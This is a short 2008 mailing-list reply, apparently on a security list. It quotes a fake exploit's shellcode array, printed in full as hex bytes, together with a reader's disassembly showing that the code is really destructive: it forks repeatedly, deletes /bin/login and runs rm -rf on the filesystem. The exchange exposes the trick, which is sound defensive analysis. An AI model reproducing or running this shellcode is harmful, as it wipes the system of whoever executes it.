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Re: here
From: Nikolay Kichukov <hijacker () oldum net>
Date: Wed, 02 Jan 2008 14:40:11 +0200
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Hash: SHA1
Thanks Andrew! Nice catch! ;-)
Cheers,
- -Nikolay
Andrew Farmer wrote:
On 20 Dec 07, at 18:51, onion ring wrote:
<snip>
char sc[] =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x31\xC0\x89\xC3\x89\xC1\x41\xB0\x30\xCD\x80\x31\xC0\xFE\xC3\x80"
"\xFB\x1F\x72\xF3\x04\x40\xCD\x80\x89\xC2\x31\xC0\xB0\x02\xCD\x80"
"\x39\xC0\x74\x08\x31\xC0\x89\xC3\xB0\x01\xCD\x80\x31\xC0\xB0\x42"
"\xCD\x80\x43\x39\xDA\x74\x08\x89\xD3\x31\xC0\x04\x25\xCD\x80\x31"
"\xC0\x50\x68\x6F\x67\x69\x6E\x68\x69\x6E\x2F\x6C\x68\x2F\x2F\x2F"
"\x62\x89\xE3\x31\xC0\x04\x0A\xCD\x80\x31\xC0\x50\x68\x2A\x2F\x2F"
"\x2F\x89\xE2\x50\x68\x2D\x72\x66\x66\x89\xE1\x50\x68\x6E\x2F\x72"
"\x6D\x68\x2F\x2F\x62\x69\x89\xE3\x50\x52\x51\x53\x89\xE1\x31\xD2"
"\x04\x0B\xCD\x80";
<snip>
Abbreviated disassembly:
signal(SIGHUP, SIG_IGN)
something that looks like a 15-level deep fork() bomb
something involving kill()
unlink("/bin/login")
execve("//bin/rm", {"//bin/rm", "-rff", "*///"})
You could at least try to obfuscate your constants a little better.
That was way too easy.
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